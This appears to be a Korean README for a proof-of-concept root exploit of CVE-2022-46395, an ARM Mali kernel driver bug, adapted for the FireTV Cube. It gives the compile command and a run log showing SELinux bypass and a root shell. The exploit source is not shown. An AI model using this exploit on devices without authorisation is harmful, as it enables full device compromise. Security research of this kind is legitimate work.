
CVE-2022-46395 FireTV 3rd gen Cube (gazelle)용 POC
이것은 보안 연구원 Man Yue Mo의 Pixel 6 POC를 CVE-2022-46395용으로 포크한 것입니다. 취약점에 대한 자세한 설명은 여기에서 읽을 수 있습니다. FireOS의 32비트 사용자 공간을 고려하여 변경되었습니다. 이 POC는 ARM Mali 커널 드라이버의 버그를 악용하여 임의 커널 코드 실행을 얻은 다음, SELinux를 비활성화하고 루트 권한을 획득합니다.
이 익스플로잇은 PS7664/3772(2023년 9월)에서 패치되었습니다. 참고로, ndk-21에서 clang으로 컴파일할 때 다음 명령이 사용되었습니다:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi28-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o gazelle_buf
가장 빠른 결과를 위해 재부팅 후 바로 실행하세요. 평균적으로 POC는 20~60초 내에 루트 권한을 얻습니다.
gazelle:/ $ /data/local/tmp/gazelle_buf
fingerprint: Amazon/gazelle/gazelle:9/PS7652.3564N/0028488625152:user/amz-p,release-keys
benchmark_time 102
failed after 100
finished reset: 919423975 fault: 918468559 3795 err 0 read 3
found pgd at page 8
overwrite addr : 104100558 558
overwrite addr : 104300558 558
overwrite addr : 10410082c 82c
overwrite addr : 10430082c 82c
result 50
success after 128
gazelle:/ #